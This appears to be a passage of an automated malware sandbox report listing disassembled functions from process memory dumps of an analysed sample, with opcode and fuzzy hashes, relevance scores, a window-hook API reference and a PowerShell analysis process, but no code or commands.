API ID: HookWindows
String ID:
API String ID: 2559412058-0
Opcode ID: 43f1bf35f79c2443d788d8ff79290793a29c8a1ce17ef3ab42f5e633d4749e69
Instruction ID: 4391f2b02bacaf5861998c50a25807833b77d3fda2d4e36825625dad789c63be
Opcode Fuzzy Hash: 43f1bf35f79c2443d788d8ff79290793a29c8a1ce17ef3ab42f5e633d4749e69
Instruction Fuzzy Hash: D0411631A1CE488FEB58EB6CD8066B97BE1EF5A311F00017ED049C3292DB6468428B85

Function 00007FF848F08E28 Relevance: 1.6, APIs: 1, Instructions: 134COMMON

Download Yara Rule

APIs

SetWindowsHookExW.USER32 ref: 00007FF848F08EF1

Memory Dump Source

Source File: 00000003.00000002.3310883675.00007FF848F00000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848F00000, based on PE: false

Similarity

API ID: HookWindows
String ID:
API String ID: 2559412058-0
Opcode ID: c6cfd04d7eb836cfa9e3dfa67e4cda6435450ae14ecf22e38ab87b70016dfd64
Instruction ID: ff4188e246f8ea0b5d896a7686405822b96c17175b3fdb9e57900c7fe36b821b
Opcode Fuzzy Hash: c6cfd04d7eb836cfa9e3dfa67e4cda6435450ae14ecf22e38ab87b70016dfd64
Instruction Fuzzy Hash: 14312B3191CA4C4FDB18EB6C980A6F97BE1EB55321F00427ED04DC3292CF64A852C785

Function 00007FF848F083C0 Relevance: 1.6, APIs: 1, Instructions: 131COMMON

Download Yara Rule

APIs

SetWindowsHookExW.USER32 ref: 00007FF848F08EF1

Memory Dump Source

Source File: 00000003.00000002.3310883675.00007FF848F00000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848F00000, based on PE: false

Similarity

API ID: HookWindows
String ID:
API String ID: 2559412058-0
Opcode ID: 41a7e938bfc77bf92e127e1c00e91bceab47b22de0d2a0621205dcbfe3f3d0d0
Instruction ID: 324dcfee70b66ac0d6f4c9bcb8b184fa09228e02bb9cff3f89c2899382ce1eb4
Opcode Fuzzy Hash: 41a7e938bfc77bf92e127e1c00e91bceab47b22de0d2a0621205dcbfe3f3d0d0
Instruction Fuzzy Hash: A331E731A1CA4C8FDB18EB6CD8066B97BE1FB59711F00427ED04DD3292DB74A8528B85

Analysis Process: powershell.exePID: 7332, Parent PID: 7316COMMON

Executed Functions

Function 0415B470 Relevance: .3, Instructions: 262COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.2264211956.0000000004150000.00000040.00000800.00020000.00000000.sdmp, Offset: 04150000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c1d6b9408cb464fba4a13790c7b865e5ed2f4f817927fab88c5128082747dcad
Instruction ID: a932201947365d54c54147e9281710752e3f6d929c7fb0a68f193d8145e0d229
Opcode Fuzzy Hash: c1d6b9408cb464fba4a13790c7b865e5ed2f4f817927fab88c5128082747dcad
Instruction Fuzzy Hash: A29191B1F007149BEB15DFB489106AEBBB2EFC4604B408A1DD416BB354DF346E068BD5

Function 0415B490 Relevance: .3, Instructions: 252COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.2264211956.0000000004150000.00000040.00000800.00020000.00000000.sdmp, Offset: 04150000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 925ae40048da2257f31f124c371dc31ae0f7e9b758f30af61a2de7a3c69809b5
Instruction ID: e8c4d8bc05220f15324b8c8c63513724c9e769a1c8a5d1e3bc54c75a57b440c9
Opcode Fuzzy Hash: 925ae40048da2257f31f124c371dc31ae0f7e9b758f30af61a2de7a3c69809b5
Instruction Fuzzy Hash: 289181B1B007189BEB15DFB489106AEBBF2EFC4604B408A1DD516BB354DF34AE068BC5

Function 06E63CE8 Relevance: 5.6, Strings: 4, Instructions: 588COMMON

Download Yara Rule

Strings

4'cq, xrefs: 06E64030
4'cq, xrefs: 06E64026
4'cq, xrefs: 06E64180
4'cq, xrefs: 06E6418A

Memory Dump Source

Source File: 00000008.00000002.2288433945.0000000006E60000.00000040.00000800.00020000.00000000.sdmp, Offset: 06E60000, based on PE: false

Similarity

API ID:
String ID: 4'cq$4'cq$4'cq$4'cq
API String ID: 0-1446110543
Opcode ID: c0ae0a253c8ffa3b933ccd70f030931af33f1031ebc0557e4aa8b5cac6681ce7
Instruction ID: c2e163532fb9e02a0e4c6d34e00ba412d0ae6bf8838ef24bd250bbca81e6b16c
Opcode Fuzzy Hash: c0ae0a253c8ffa3b933ccd70f030931af33f1031ebc0557e4aa8b5cac6681ce7
Instruction Fuzzy Hash: EE124A31B44310CFDB959B6984217ABBBF6AFD1354F24D0AAE506CB282DB31CD45CBA1

Function 04156FE0 Relevance: 1.4, Strings: 1, Instructions: 114COMMON

Download Yara Rule

Strings

(gq, xrefs: 04157105

Memory Dump Source

Source File: 00000008.00000002.2264211956.0000000004150000.00000040.00000800.00020000.00000000.sdmp, Offset: 04150000, based on PE: false

Similarity

API ID:
String ID: (gq
API String ID: 0-1972435379
Opcode ID: 3d09d20b8efe19c2552ad563e29d290dca497285722cd10b9a647b158d757442
Instruction ID: 12b278a46b178f5a13775f57d88a9f83e59de04366fef73f659dbab24e8c06d1
Opcode Fuzzy Hash: 3d09d20b8efe19c2552ad563e29d290dca497285722cd10b9a647b158d757442
Instruction Fuzzy Hash: 42414E34B04204CFCB05DF65C495AADBBF1EF8E314F144498D816AB3A1DB35AC41CB55

Function 0415AF98 Relevance: 1.3, Strings: 1, Instructions: 82COMMON

Download Yara Rule

Strings

(&cq, xrefs: 0415AFBA

Memory Dump Source

Source File: 00000008.00000002.2264211956.0000000004150000.00000040.00000800.00020000.00000000.sdmp, Offset: 04150000, based on PE: false

Similarity

API ID:
String ID: (&cq
API String ID: 0-298851153
Opcode ID: 9d1774a43768f9df1efc7634f7fdb00af6b3377be5b9ffdc16be8d960865f331
Instruction ID: e295bbeff0106cfc3c81f36dee711262bb7bd63b81822a482b3f67d86a78db9b
Opcode Fuzzy Hash: 9d1774a43768f9df1efc7634f7fdb00af6b3377be5b9ffdc16be8d960865f331
Instruction Fuzzy Hash: DF21A175A042588FCB14DFAED8406DFBFF5EF89320F14846AD518A7340CB75A8458BE5

Function 041529F0 Relevance: .2, Instructions: 208COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.2264211956.0000000004150000.00000040.00000800.00020000.00000000.sdmp, Offset: 04150000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: da73bf2aa817582e70c7f638814414f255c4e66153e732d5a96f506b06a6f97f
Instruction ID: 3491b3a8bbe395c40495f5cab41db72930a4edf8f237a7b37f7cb7e05fef7371
Opcode Fuzzy Hash: da73bf2aa817582e70c7f638814414f255c4e66153e732d5a96f506b06a6f97f
Instruction Fuzzy Hash: 94913775A00205CFCB15CF98C4D49EABBB1FF88310B248699D865AB3A5C735FC51CBA0

Function 06E628E8 Relevance: .2, Instructions: 160COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.2288433945.0000000006E60000.00000040.00000800.00020000.00000000.sdmp, Offset: 06E60000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 48bdefa00d604394893388fde0ae9101b1cd8c28ee219c4301f71ef9d61086ba
Instruction ID: 556d5e73f5003f113d8b1c44fd0012f14c082233dab8cdeca55adb052113ef1c
Opcode Fuzzy Hash: 48bdefa00d604394893388fde0ae9101b1cd8c28ee219c4301f71ef9d61086ba
Instruction Fuzzy Hash: A5517A71F403558FDB61CB6D88117AABFE2EF85264F1480BAE705DB292CB318E41C7A1

Function 0415BAC0 Relevance: .2, Instructions: 155COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.2264211956.0000000004150000.00000040.00000800.00020000.00000000.sdmp, Offset: 04150000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 099bb684cf660c17e6a78d13bc5d762181d913515fa7e932a88583891f4212a1
Instruction ID: cf91d45a79f5fb8d2ea888c9cf327fc32a01f9d4eeadd31e859ff57420ba7b77
Opcode Fuzzy Hash: 099bb684cf660c17e6a78d13bc5d762181d913515fa7e932a88583891f4212a1
Instruction Fuzzy Hash: CF611771E00248DFDB14CFA9D584ADDBBF1EF88314F15816AE819AB364EB34AD41CB54

Function 0415BAB0 Relevance: .2, Instructions: 150COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.2264211956.0000000004150000.00000040.00000800.00020000.00000000.sdmp, Offset: 04150000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b3792f390aa3fc9bc4c9afeb29700acde544194206c63b919c9a58e5e379c0ef
Instruction ID: cdf3d5d3cfff5ea944562e6cd9c341d6f4b6d79ca695768af73419fed4249b10
Opcode Fuzzy Hash: b3792f390aa3fc9bc4c9afeb29700acde544194206c63b919c9a58e5e379c0ef
Instruction Fuzzy Hash: A45117B1E00248DFDB14CFA9D584ACDBBF5EF88314F14806AE819AB364EB34AD45CB55

Function 04157740 Relevance: .1, Instructions: 144COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.2264211956.0000000004150000.00000040.00000800.00020000.00000000.sdmp, Offset: 04150000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e7d09d1db1f8edcae7b82e13ad3a709a66a9348e88004ea7b31023bb7efcd5f6
Instruction ID: d3ea3000b9fbf833aac209a028b207b5e4ff754ce68252c630d367a77f8d52a9
Opcode Fuzzy Hash: e7d09d1db1f8edcae7b82e13ad3a709a66a9348e88004ea7b31023bb7efcd5f6
Instruction Fuzzy Hash: 7D41F274704205DFD705DB65D885A6B77EAEFC8314F1584A9D829DB3A1EB31EC01CB90

Function 06E63CDF Relevance: .1, Instructions: 113COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.2288433945.0000000006E60000.00000040.00000800.00020000.00000000.sdmp, Offset: 06E60000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 251d6fc5cfeb63c5b797b81043c6570638ae8435f79bdb3e3acb337bef18a2fb
Instruction ID: 5a73abaa3f88e869897472bb2717cfadb7376d07da424cbbc29e01dff6c8661c
Opcode Fuzzy Hash: 251d6fc5cfeb63c5b797b81043c6570638ae8435f79bdb3e3acb337bef18a2fb
Instruction Fuzzy Hash: 4F31F634E40300CFDBA58E168611AABB7B6AF80798F14B066E9069F241D731DD44CBE1

Function 04152B00 Relevance: .1, Instructions: 107COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.2264211956.0000000004150000.00000040.00000800.00020000.00000000.sdmp, Offset: 04150000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4109f49bad16725b5d86e68a2ab7c25bfe58d6d6c0473e7385ac1edeca42ac7b
Instruction ID: aa19f56de382aabfed200df90d61db2a3d204246c60b57780d7d6a271882c1d5
Opcode Fuzzy Hash: 4109f49bad16725b5d86e68a2ab7c25bfe58d6d6c0473e7385ac1edeca42ac7b
Instruction Fuzzy Hash: D54113B5A001058FCB05CF48C0D89EABBB1FF48310B2586A9D865AB265C732FC51CFA4

Function 04156FBE Relevance: .1, Instructions: 103COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.2264211956.0000000004150000.00000040.00000800.00020000.00000000.sdmp, Offset: 04150000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8523c624b622e40ad377d65d983f895c9ba89a1c461aaf02ea16f030065fcef4
Instruction ID: 6e63fdaee5b87777c28334cf3f0fbd962b76c554a824a4cc0e3bcdede508be77
Opcode Fuzzy Hash: 8523c624b622e40ad377d65d983f895c9ba89a1c461aaf02ea16f030065fcef4
Instruction Fuzzy Hash: B4313234A04204CFC714DF65C5999ADBBF1AF8E714F155098E826AB3A1DB35EC41CB60

Function 0415C388 Relevance: .1, Instructions: 101COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.2264211956.0000000004150000.00000040.00000800.00020000.00000000.sdmp, Offset: 04150000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cc4b6d36bfb97fd122cbc6347040f85407f97c83741c3dfaecbb1555fa97e1d3
Instruction ID: 898cde0693b899384707ede3884e2b1248803e0aaa67debba5014e8b85a11358
Opcode Fuzzy Hash: cc4b6d36bfb97fd122cbc6347040f85407f97c83741c3dfaecbb1555fa97e1d3
Instruction Fuzzy Hash: 1F31AE753006009FD705DB78E894B9ABBA6EFC4314F008669E51ACB3A1EF74AC45CBA1

Function 04156FD1 Relevance: .1, Instructions: 96COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.2264211956.0000000004150000.00000040.00000800.00020000.00000000.sdmp, Offset: 04150000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6439c14c15e555efb887e632b6326ec4f71e0b713c4996f366268c566c72f7d3
Instruction ID: 3b1416ce7b06e389bf304dcc498b43d5a1e6043cd4ebe6d15985ec507b9ff7f6
Opcode Fuzzy Hash: 6439c14c15e555efb887e632b6326ec4f71e0b713c4996f366268c566c72f7d3
Instruction Fuzzy Hash: 15314D34B00205CFCB14DFA5C9999AEBBF1AF8D714F145098E826AB3A0DB35EC41CB60

Function 0415AE60 Relevance: .1, Instructions: 88COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.2264211956.0000000004150000.00000040.00000800.00020000.00000000.sdmp, Offset: 04150000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c490bcdad4d1f4ecd15ea149132952ebd74b677fe76b4ff924cb73a7aac25a33
Instruction ID: 1988847470b416954a7f5bb9de45602a30c01e191936113b8785a5b4e05668d0
Opcode Fuzzy Hash: c490bcdad4d1f4ecd15ea149132952ebd74b677fe76b4ff924cb73a7aac25a33
Instruction Fuzzy Hash: 13314DB1A40209CBDB04DFA9D4947EE7AF6EF88350F148069E815EB360EB345C418B91

Function 0415AE70 Relevance: .1, Instructions: 84COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.2264211956.0000000004150000.00000040.00000800.00020000.00000000.sdmp, Offset: 04150000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 86bed5ccadc9fd483c829d4cf853af63b775986a443c93bd5b9ed40189e0e4d7
Instruction ID: 4d65076db9aba0964050af65826e8fade82ef13b51160597be473df7f1ede675
Opcode Fuzzy Hash: 86bed5ccadc9fd483c829d4cf853af63b775986a443c93bd5b9ed40189e0e4d7
Instruction Fuzzy Hash: E8314F70A40209DFDB04DFA9D4947EE7AF6EF89350F108069E815EB364EB34AC418B91

Function 0415AD28 Relevance: .1, Instructions: 82COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.2264211956.0000000004150000.00000040.00000800.00020000.00000000.sdmp, Offset: 04150000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7921dee1682175d0a62216826b53ef6e07f7ad76984cbc2e01811d8000d334b2
Instruction ID: 19c6b52f0684f929dea9bacd896ad356c93ba62a27100654e5c79d9651bc71b1
Opcode Fuzzy Hash: 7921dee1682175d0a62216826b53ef6e07f7ad76984cbc2e01811d8000d334b2
Instruction Fuzzy Hash: 403184B4A002059FEB00DFA4D854AEEBBB6EFC4304F118469D515BB3A4DB38AD458B61

Function 041593F0 Relevance: .1, Instructions: 77COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.2264211956.0000000004150000.00000040.00000800.00020000.00000000.sdmp, Offset: 04150000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e40653f8c652c96f77f89d01984f60bb038eccb34f0eb314f8d6a621cb155cd0
Instruction ID: 58ab2bfa6baf113d67206fa8d758f36599164125e2be12d197eb90f63475150d
Opcode Fuzzy Hash: e40653f8c652c96f77f89d01984f60bb038eccb34f0eb314f8d6a621cb155cd0
Instruction Fuzzy Hash: 00318BB5911744CEDB60CF6AC1883CAFBF2EB88320F28C45AD85D9B214D7746481CB52

Function 0415AD38 Relevance: .1, Instructions: 77COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.2264211956.0000000004150000.00000040.00000800.00020000.00000000.sdmp, Offset: 04150000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c2170877ff94a2308418710a47f05f7f2191a13ca157f575ef5b486bacabe644
Instruction ID: 0045d8b4fce9030ace13a45c27c8027986c41406ec63b3fb93801843f1c85671
Opcode Fuzzy Hash: c2170877ff94a2308418710a47f05f7f2191a13ca157f575ef5b486bacabe644
Instruction Fuzzy Hash: 183161B4A002099FEB04DFA4D454AEF77B6EFC4304F118469DA11BB3A4DB39AD058F61

Function 040DF3D8 Relevance: .1, Instructions: 76COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.2263504921.00000000040DD000.00000040.00000800.00020000.00000000.sdmp, Offset: 040DD000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2fb538f8c16f36b23e8ec3f874d4fec194646299c83a1848a0fafc3527c53de6
Instruction ID: e08510ca96f2a0e08b1dfdadf2e34aa65c3a952e84e42a0f76224c3d28e56402
Opcode Fuzzy Hash: 2fb538f8c16f36b23e8ec3f874d4fec194646299c83a1848a0fafc3527c53de6
Instruction Fuzzy Hash: DC212471604301EFCB05CF14D9C0B26BBA1FB88314F24C5ADE90A1A256C73AE45ACBA2

Function 06E62784 Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.2288433945.0000000006E60000.00000040.00000800.00020000.00000000.sdmp, Offset: 06E60000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d45667e40461ec32fd7b7897f7d9ac15e25f30d49551723556bafbb86f561797
Instruction ID: 56cc7ab05b0d7c7876e39d9d901c6562d9b92eaabdcf1c3bffb98ba4e66004c4
Opcode Fuzzy Hash: d45667e40461ec32fd7b7897f7d9ac15e25f30d49551723556bafbb86f561797
Instruction Fuzzy Hash: F1213771B903049FDB909F69C451FAA7BE2EF88361F109065FB059F291CB30AE40C7A1

Function 040DF02C Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.2263504921.00000000040DD000.00000040.00000800.00020000.00000000.sdmp, Offset: 040DD000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 040aa29b17cf7b0781d37c2e7c40467e78ab13d7f717664ab723b4b096bda542
Instruction ID: dbcae20a4d59984acca665ebeab771a836d51d7d259dced086cc907475f4d86a
Opcode Fuzzy Hash: 040aa29b17cf7b0781d37c2e7c40467e78ab13d7f717664ab723b4b096bda542
Instruction Fuzzy Hash: 7F210775604341DFCB15DF14D9C0B16BFA5EB88324F24C96DDA0A5B246C73AE44ACA62

Function 04159400 Relevance: .1, Instructions: 69COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.2264211956.0000000004150000.00000040.00000800.00020000.00000000.sdmp, Offset: 04150000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d74a150fd5fbf1ae16d0184dbd376b761420ee00a8bd56f52c5f7565c51d92bc
Instruction ID: 0f4e150967cc8b62a9801a772df9e595d11623388b18426abe27ff363a8d458d
Opcode Fuzzy Hash: d74a150fd5fbf1ae16d0184dbd376b761420ee00a8bd56f52c5f7565c51d92bc
Instruction Fuzzy Hash: 4E2189B1911744CFDB60CF6AC5883CAFBF6EB88310F28C45AD81D97255D77468418B62

Function 04157846 Relevance: .1, Instructions: 64COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.2264211956.0000000004150000.00000040.00000800.00020000.00000000.sdmp, Offset: 04150000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c8fd33a5ca628d6e146fccc6cd63e57b139e097095f4da21b7f38f4771e16ca7
Instruction ID: cc611e552c341991a2f72fd606062ab48558773c145416fe5854e5b32c821e57
Opcode Fuzzy Hash: c8fd33a5ca628d6e146fccc6cd63e57b139e097095f4da21b7f38f4771e16ca7
Instruction Fuzzy Hash: EE119E753002149FDB04DB69EC85D6A7BEAFFC8610B140469E909CB391DF31EC01CB90

Function 06E628E1 Relevance: .1, Instructions: 62COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.2288433945.0000000006E60000.00000040.00000800.00020000.00000000.sdmp, Offset: 06E60000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 56a17e2b3773b69a940f49a60c86c1d5dc2d314bf4a9821d5656b0c8ff87467f
Instruction ID: 32989d5fcced2e2f2f67a54a6745b843467942c248b81703a614812134c544de
Opcode Fuzzy Hash: 56a17e2b3773b69a940f49a60c86c1d5dc2d314bf4a9821d5656b0c8ff87467f
Instruction Fuzzy Hash: 6D11E631E80305DFDBA4CF5AC485BAABBF5EB842A8F049065F7089B251D371DA45CBE1

Function 0415767C Relevance: .1, Instructions: 61COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.2264211956.0000000004150000.00000040.00000800.00020000.00000000.sdmp, Offset: 04150000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 04217cf079d1a53e8ccf3cb1b30bfbe8d4ab0dda4aa63ed6ec64965dca364d53
Instruction ID: af63699ab6db3fc5a6ffaaa4d1d620c6f10f8f239a53474adcfc6592adfb7bd4
Opcode Fuzzy Hash: 04217cf079d1a53e8ccf3cb1b30bfbe8d4ab0dda4aa63ed6ec64965dca364d53
Instruction Fuzzy Hash: 52111979B00118CFDB04DBA8D8819EE77F6EBCC225B0440A4E919EB365DB35EC15CB90

Function 040DF3D3 Relevance: .1, Instructions: 57COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.2263504921.00000000040DD000.00000040.00000800.00020000.00000000.sdmp, Offset: 040DD000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 60d80519eb9db1b1610cff839dd5111d09844ef92c491b1b3c484bcf7c112ab0
Instruction ID: f37b2118c44f6b04b91ef0fe345e913f25acc4cfa7722798c4f10aafb220694a
Opcode Fuzzy Hash: 60d80519eb9db1b1610cff839dd5111d09844ef92c491b1b3c484bcf7c112ab0
Instruction Fuzzy Hash: A7218C76504341DFCB06CF10D9C4B16BFB2FB88314F24C5A9D9494A656C33AD46ACF91

Function 0415C343 Relevance: .1, Instructions: 53COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.2264211956.0000000004150000.00000040.00000800.00020000.00000000.sdmp, Offset: 04150000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3877490a6e39c3f2d3c828a697a77d38dd9f70caef5184c491e3bdf3adb959f1
Instruction ID: 404b24522f0fa341a000d8a0279e829f44881d1d024d69485447509a35e5bc96
Opcode Fuzzy Hash: 3877490a6e39c3f2d3c828a697a77d38dd9f70caef5184c491e3bdf3adb959f1
Instruction Fuzzy Hash: D901403260E3D04FD31797399864BD67FA19F87214F0A00EBC989CB2E3D9195949C761

Function 040DF027 Relevance: .1, Instructions: 53COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.2263504921.00000000040DD000.00000040.00000800.00020000.00000000.sdmp, Offset: 040DD000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 27d135bd3dca62d1b28aaafcc0d03d39a130d91657e76bf3723218e75c9515e9
Instruction ID: ccc0bf60cd44bb67808a27de379e0cecbe2aec13ac9d765fe41be0781274ff40
Opcode Fuzzy Hash: 27d135bd3dca62d1b28aaafcc0d03d39a130d91657e76bf3723218e75c9515e9
Instruction Fuzzy Hash: 3811D079504380CFCB11CF14D5C4B15BFA1FB84314F24C6ADD90A4B656C33AE44ACB51

Function 04152C5C Relevance: .1, Instructions: 51COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.2264211956.0000000004150000.00000040.00000800.00020000.00000000.sdmp, Offset: 04150000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 86403c9ca00930348abd77e0a877fe5264ffba77ea223f760cce5ff3c3370776
Instruction ID: 45b103f388576e75719f9afb40c93123b949be01aa8de2e5ea553cb6828b2e36
Opcode Fuzzy Hash: 86403c9ca00930348abd77e0a877fe5264ffba77ea223f760cce5ff3c3370776
Instruction Fuzzy Hash: BA1165755093909FCB03CFA8D8A05D97F70EF4B310B1944C7D4949B2B3C6269C5ADBA6

Function 0415BCE0 Relevance: .0, Instructions: 50COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.2264211956.0000000004150000.00000040.00000800.00020000.00000000.sdmp, Offset: 04150000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 88a92da4c2d8e389feb5543d33101c735d573c2e0c8c92e6e0fdc18d117b3d7a
Instruction ID: cea6ba8b1e71b5559789af4a286a68073f11b67ca08b03c740959bbcd3bb1719
Opcode Fuzzy Hash: 88a92da4c2d8e389feb5543d33101c735d573c2e0c8c92e6e0fdc18d117b3d7a
Instruction Fuzzy Hash: DC01CC316083448FC718CB79D894AAA7FF1AF45214B1488EED45ACB6A2CB30F884C700

Function 0415DC98 Relevance: .0, Instructions: 48COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.2264211956.0000000004150000.00000040.00000800.00020000.00000000.sdmp, Offset: 04150000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 092871d2f7c295a4519df3b4586a718763c286849ec582ef8d25d987b9b4eb45
Instruction ID: c9dd5264a411a6d3719dae923482cd81aade35b1c995472f86ebc8a601c8eb04
Opcode Fuzzy Hash: 092871d2f7c295a4519df3b4586a718763c286849ec582ef8d25d987b9b4eb45
Instruction Fuzzy Hash: 6A111B74204750CFC729DF79D49085AB7F6EF8931532089ADD48A8B7A0CB32F842CB50

Function 040DD01D Relevance: .0, Instructions: 45COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.2263504921.00000000040DD000.00000040.00000800.00020000.00000000.sdmp, Offset: 040DD000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6b8940dd35aaae6c62a3faa1b2e040f5ce1d7bc19078c2aa693e73887a6f9ca5
Instruction ID: e8ac09709c4552acf6d4c4a28daf0e7c494e83a99fc97413776c178ad4000caf
Opcode Fuzzy Hash: 6b8940dd35aaae6c62a3faa1b2e040f5ce1d7bc19078c2aa693e73887a6f9ca5
Instruction Fuzzy Hash: A801F271104300ABE7208E29EDC4B66BFD8DF81370F18C41AED482A242D679B849D6B2

Function 0415BF10 Relevance: .0, Instructions: 43COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.2264211956.0000000004150000.00000040.00000800.00020000.00000000.sdmp, Offset: 04150000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bc73f9be8ce225e37a9f206a4bcfb043d02228bec58059451ae9c214b8b888ce
Instruction ID: 2a74a8186ea6b2effda9ae854fcda53c89ebab551e64e1d97782dee6d8bdfce3
Opcode Fuzzy Hash: bc73f9be8ce225e37a9f206a4bcfb043d02228bec58059451ae9c214b8b888ce
Instruction Fuzzy Hash: 16F0C2727092606FD7108A7AAC84AB77FEDEBCA621B19447AF944C7391DA70DC0087A0

Function 040DD006 Relevance: .0, Instructions: 43COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.2263504921.00000000040DD000.00000040.00000800.00020000.00000000.sdmp, Offset: 040DD000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 100ef18b35f186781e1b559c0f7b100596daecbcd0a8a2b37f7746a7cf4e64e1
Instruction ID: d3248a16d721055f26885b1749686faaa1071ea41c811c7e558f561bb34b2ff6
Opcode Fuzzy Hash: 100ef18b35f186781e1b559c0f7b100596daecbcd0a8a2b37f7746a7cf4e64e1
Instruction Fuzzy Hash: 72015E7240E3C05FD7128B259994B52BFA4DF53224F19C1DBE9889F197C269A848C772

Function 0415C4C0 Relevance: .0, Instructions: 38COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.2264211956.0000000004150000.00000040.00000800.00020000.00000000.sdmp, Offset: 04150000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 13148fcc145974f1b769ab5656e9e68e1ab69310d19815e3dc6c31b2f109221e
Instruction ID: 8967dc2e2354484853b7caa8e8719669117dbf4e7975ed0a0e4b0ca71b05fee7
Opcode Fuzzy Hash: 13148fcc145974f1b769ab5656e9e68e1ab69310d19815e3dc6c31b2f109221e
Instruction Fuzzy Hash: 47F0F6B2204600ABD3119729D4509AABB9AEFC1228B548A7DD10D9F711DF31BC4687D2

Function 04157958 Relevance: .0, Instructions: 38COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.2264211956.0000000004150000.00000040.00000800.00020000.00000000.sdmp, Offset: 04150000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 992c238c8a4c25159b9ec1933b16ec335b65d4b4ee62e7f1bd0ec11c4e676cac
Instruction ID: 39d7a2aaaff5058e5fce146ca393cecb34e5c727f5b965e98f122af4460cacbb
Opcode Fuzzy Hash: 992c238c8a4c25159b9ec1933b16ec335b65d4b4ee62e7f1bd0ec11c4e676cac
Instruction Fuzzy Hash: 87F02B317052009FD7109BA9EC809BFBBE5EF88274B00051DE419D3391CF346C45C7A1

Function 0415CB52 Relevance: .0, Instructions: 37COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.2264211956.0000000004150000.00000040.00000800.00020000.00000000.sdmp, Offset: 04150000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 309f7277ba0dc027fe374ada5929d81f6ce9fe0180e54dd92350efc11b135492
Instruction ID: 047b93fe0aadfb2c04d75eee89c4bfc1667ff612c503366aa9122c7fa427541f
Opcode Fuzzy Hash: 309f7277ba0dc027fe374ada5929d81f6ce9fe0180e54dd92350efc11b135492
